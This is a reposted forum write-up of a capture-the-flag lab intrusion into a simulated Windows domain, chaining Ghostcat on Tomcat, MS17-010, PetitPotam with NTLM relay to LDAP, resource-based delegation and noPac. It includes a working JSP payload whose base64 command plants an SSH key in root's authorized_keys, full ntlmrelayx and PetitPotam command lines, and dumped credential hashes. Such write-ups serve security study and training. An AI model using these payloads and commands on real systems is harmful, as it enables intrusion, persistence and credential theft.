Jump to content

Title: Spring and Autumn Cloud Mirror-[Simulation Scene] Spoofing Writeup

Featured Replies

Posted

0x01 – Info

Tag: Tomcat, NTLM, WebClient, Coerce Authentication, noPac svcvwcdqpvf19006.png

0x02 – Recon

Target external ip 47.92.146.66

Nmap results

Focus on port 8009 (ajp) means tomcat (corresponding to tomcat tag of the shooting range) nifeiutbrs019007.png directory scan, the 404 page is displayed as tomcat 9.0.30 mwx5x1id1g319008.pngPlaying with Ghost cat

Test with this project

https://github.com/00theway/Ghostcat-CNVD-2020-10487

Read /web-inf/web.xml 44ej4ttn2yc19009.png

url-pattern The result is saved as a dictionary yqacwbbkhx319010.png

FFuf 2d3kkyunhoe19011.png

Follow uploadservlet e44s1grptf019012.png

Upload temp.txt axezjirlsqn19013.png

Return file address 3hzepmqgb4y19014.png ./upload/7dbbdee357b4472f5aad6b8ce83980dd/20221206093440839.txt

Replace ./upload to /upload, successfully read the uploaded file

python3 ajpShooter.py http://47.92.146.66:8080 8009 /upload/7dbbdee357b4472f5aad6b8ce83980dd/20221206093440839.txt read

typpb3ikg1m19015.png

0x03 – GhostCat command execution

Get ready shell.txt uyfgi1ztecd19016.png% java.io.InputStream in=Runtime.getRuntime().exec("bash -c {echo,ZWNobyAic3NoLXJzYSBBQUFBQjNOemFDMXljMkVBQUFBREFRQUJBQUFCZ1FDL3NKaDY4Uk5hWktLakNQaE40WUxpSnJ4eDR3N3JtbDBGcFRmMTNYNHVKZlpFZm4yU25scE9rdXQ0OE1LdURHOEtDcXczRW0zNU9odXdUa2p3ZEkvRGhGN3ZSeTB0T2xtWDE5NmJHcXpndE5pM1YzUHExc3NC MzV5Ui85SHJ6ZjVEdHdqS2NKdkphV0RuZzU2UWhHZjlnR21vdUZVQWV2QjdsUWl3a01FNWNxTzVsQTRwUm5KVEh2RU1OQUkxQkc3MTBEeWNKT28rNGh1TGNNVjZhdUs3UXdKTWdnN0oyU2U5TEpGZWk2R2g0amJUSGRhdmNBVjV6VVJZeFI4QVNXSmNqY29tM2dMUEE1UWNxSzNzSERRVmswUHllaT R3cEJwWWlFUGlHcHlQR2Y1T3ErUU0xQmJyR0gvTlRBYnZWa3dDZnBkRURWdVBNNWhHOFY4c09HTjIxczlWazFjMVBXaEh2WDZ1ejhRaDRNdUdnQlRYSHlZb3duTjg3OTExVDVGR0VjVzlWeUh1cm9FSVJtdE9sY3dBYmRMc0k0NVhOS1o0aWoxdERLNTRTMmpXWXhJTjhSL1ZuUnV2RVVoTVpGOUla bDM3UW5EQnBFR25LTXFjTVE4cHVUZUJBMngvSURHMFR6MWxjVGk5WHp5WjVheTd4dTJwZStidXhWT1BSQ2M9IiA+PiAvcm9vdC8uc3NoL2F1dGhvcmml6ZWRfa2V5cwoKY2htb2QgNjAwIC9yb290Ly5zc2gvYXV0aG9yaXplZF9rZXlzCg==}|{base64,-d}|{bash,-i}").getInputStream(); int a=-1; byte[] b=new byte[2048]; out.print("pre"); while((a=in.read(b))!=-1){ out.println(new String(b)); } out.print("/pre");%

Upload shell.txt mk4j4jza3oy19017.png Execute uploaded code 4uj2ckcrqfo19018.pngSSH – flag01 u000nasyjrs19019.png

0x04 – Portal Ubuntu: 172.22.11.76

SSH kyx5aulmcxf19020.png Nothing, just go through 2mpyrdpjk3z19021.png to open the agent pbouacweulh19022.png to scan 445 for the agent, and get the information of three hosts 172.22.11.45 XR-Desktop.xiaorang.lab

172.22.11.6 xiaorang-dc.xiaorang.lab

172.22.11.26 XR-LCM3AE8B.xiaorang.lab o54jrz2lo2s19023.png

Pay attention to 172.22.11.45 – windows7 – MS17 5zmyi0kbfyc19024.pngMS17 completed in one go b5oie3mzd4n19025.png Basic operations brotd4i0xgc19026.png nc5sq4az5gi19027.png

Credential List Administrator 4430c690b4c1ab3f4fe4f8ac0410de4a – (local credentials)

John 03cae082068e8d55ea307b75581a8859 – (local credentials)

XR-DESKTOP$ 3aa5c26b39a226ab2517d9c57ef07e3e – (Domain Credentials)

yangmei 25e42ef4cc0ab6a8ff9e3edbbda91841 – xrihGHgoNZQ (plain text) – (domain credentials)

I have tried the combination blasting, there is nothing, I just skipped the demonstration here and went directly to the domain penetration link kvmvraitali19028.png

Flag2 phwux5il3u319029.png Add domain user yangmei to the local administrator of the machine m0xoedmkh0x19030.png Determine the domain control IP to 172.22.11.6 – xiaorang-dc 3wnl2kfi5lf19031.pngBloodhound collection drnbuigy5rv19032.png

0x05 – Domain penetration link, entrance XR-Desktop: 172.22.11.45

Let's go through this quickly (summary in one sentence: you can't directly take down the domain control) The password/hashes combination obtained using the username combination collected by Bloodhound was blasted. No other new users were found to have MAQ=0. The computer cannot be added. The current LDAP does not have TLS, and the computer cannot be added remotely. There are two methods for the add computer of impacket. Samr and ldaps. samr is restricted by MAQ=0, and cannot add computers; ldaps is restricted by no TLS + MAQ=0. Domain control exists nopac. Current user yangmei uses nopac and does not kill ACL domain control exists nopac for computer container in the domain. Current user yangmei does not have WriteDacl permission on the current windows machine xr-desktop, which means that DFscoerce and petitpotam cannot be modified in SamAccountName domain, but CVE-2019-1040 does not exist, so DFscoerce is abandoned and petitpotam is given priority to using petitpotamNoPac exploit:Ridter/noPac: Exploiting CVE-2021-42278 and CVE-2021-42287 to impersonate DA from standard domain user (github.com)Petitpotam Scan 5esygf51ado19033.png No ADCS + Petitpotam + ntlm relay play

Attack chain: Use petitpotam to trigger the target of the vulnerability and enable the webclient service. Use petitpotam to trigger the target to access our http relay service. The target will use webclient to carry ntlm authentication to access our relay, and relay its authentication to ldap, obtain the identity of the machine account, and modify its own msDS-AllowedToActOnBehalfOfOtherIdentity attribute as the machine account, allowing our malicious machine account to simulate and authenticate access to the target machine (RBCD) to meet the conditions. The target machine needs to enable the webclient service.

WebClient scan, and it is confirmed that it can only be won. 172.22.11.26 (XR-LCM3AE8B) 05gzubtmdqw19034.png Relay Attack Preface: The relay play in actual combat only needs to stop 80 occupancy services, and enable port forwarding (portfwd, CS has added rportfwd_local in subsequent versions, and forward directly to the client local). This demonstration is similar to the actual combat play. It does not choose to throw impacket to the entrance ubuntu. This operation relay attack environment configures : port forwarding + proxy

We currently need to forward the server's 80 to the local client's 80 Note: Since SSH's reverse port forwarding only listens to 127.0.0.1, we need some tricks at this time.

As shown in the figure, even if the reverse port forwards port 79 specifies to listen to all (-R \*:79:127.0.0.1:80), port 79 is still bound to 127.0.0.1 (the socks5 proxy is also opened in the figure) jmfgtu22q0u19035.png

Add an extra socat to forward the traffic 0.0.0.0:80 to 127.0.0.1:79, and then forward it back to the local 80 on the client side, making the 80 listen in disguise at 0.0.0.0 11zgkzy1sxh19036.png

Test, the traffic coming in from 172.22.11.76:80 is directly forwarded to our local area 3si5xvtmhi119037.png

Open ntlmrelayx locally Note: As mentioned earlier, there is no ldaps, so you cannot use addcomputer and then use the ip to connect to the dc after using the ip to set RBCDsudo proxychains4 -q -f proxychains.conf ntlmrelayx.py -t ldap://172.22.11.6 --no-dump --no-da --no-acl --escalate-user 'xr-desktop$' --delegate-access yazauyrumxs19038.png Use Petitpotam to trigger XR-LCM3AE8B Certified to 172.22.11.76 (ubuntu)proxychains4 -q -f ~/HTB/Spoofing/proxychains.conf python3 PetitPotam.py -u yangmei -p 'xrihGHgoNZQ' -d xiaorang.lab ubuntu@80/pwn.txt XR-LCM3AE8B

It can be seen that the RBCD attack has been completed, and the next step is to apply for the bank notes of XR-LCM3AE8B directly.1ouuoqtryyv19039.png Apply for XR-LCM3AE8B CIFS notes ro5mxv5j3t319040.png

0x06 – Domain penetration link – NoPAC, entrance XR-LCM3AE8B: 172.22.11.26

psexecflag03 in C:\users\administrator\flag\flag03.txt (No screenshot here) wyfctdurrbf19041.pngsmbclient.py pass mimikatz zlj32akjpo519042.png obtains new credentials zhanghui 1232126b24cdf8c9bd2f788a9d7c7ed1

di3jzvj5pbo19043.png

Only zhanghui can succeed. zhanghui can create objects in the MA_Admin group. MA_Admin group can create objects for computers, but I didn't see AdFind.exe in bloodhound -b 'CN=Computers,DC=xiaorang,DC=lab' nTSecurityDescriptor -sddl+++ j0cd4g1503c19046.png

Bloodhound cannot be seen, the main reason is that CreateChild was not collected into json ryv1ddi1wnh19050.png and returned to nopac, plus create-child parameter hjw224yziit19054.png

0x07 – Domain penetration link – xiaorang-dc

Log in to DCflag04 using the cifs tickets applied for by nopac. C:\users\administrator\flag\flag04.txt (No screenshot here) l4bqtlzze5l19056.png Domain tube (skip using mimikatz) administrator 0fadb57f5ec71437d1b03eea2cda70b9

![[ eyolziwmsev19059.png

0x08 – Playing around

Try to solve the problem that Bloodhound.py cannot collect CreateChild

Bloodhound/enumeration/acls.py has actually defined variables, just call them bdqgamqujcu19061.png

Come to line 170, we add it, find CreateChild and add the data ykw1vd22c0319063.png

Run bloodhound.py again, observe the results of containers, and find that there is already relevant data. RID 1132=MA_Admin group tnpb3gkioz019065.png

Bloodhound diagram, but the data is still messy nlsgblm5rf019068.png Original link: https://www.anquanke.com/post/id/285771

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.
Note: Your post will require moderator approval before it will be visible.

Guest
Reply to this topic...

Important Information

HackTeam Cookie PolicyWe have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.